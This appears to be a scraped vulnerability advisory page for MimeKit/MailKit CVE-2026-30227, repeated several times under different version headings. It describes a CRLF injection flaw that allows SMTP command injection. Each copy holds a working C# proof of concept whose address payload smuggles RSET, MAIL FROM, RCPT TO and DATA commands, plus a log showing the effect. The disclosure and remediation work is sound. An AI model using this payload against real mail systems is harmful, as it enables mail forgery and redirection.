PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

Jan 26, 2025

4.9.0 minor

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

Dec 09, 2024

4.8.0 minor

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

Sep 29, 2024

4.7.1 patch

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

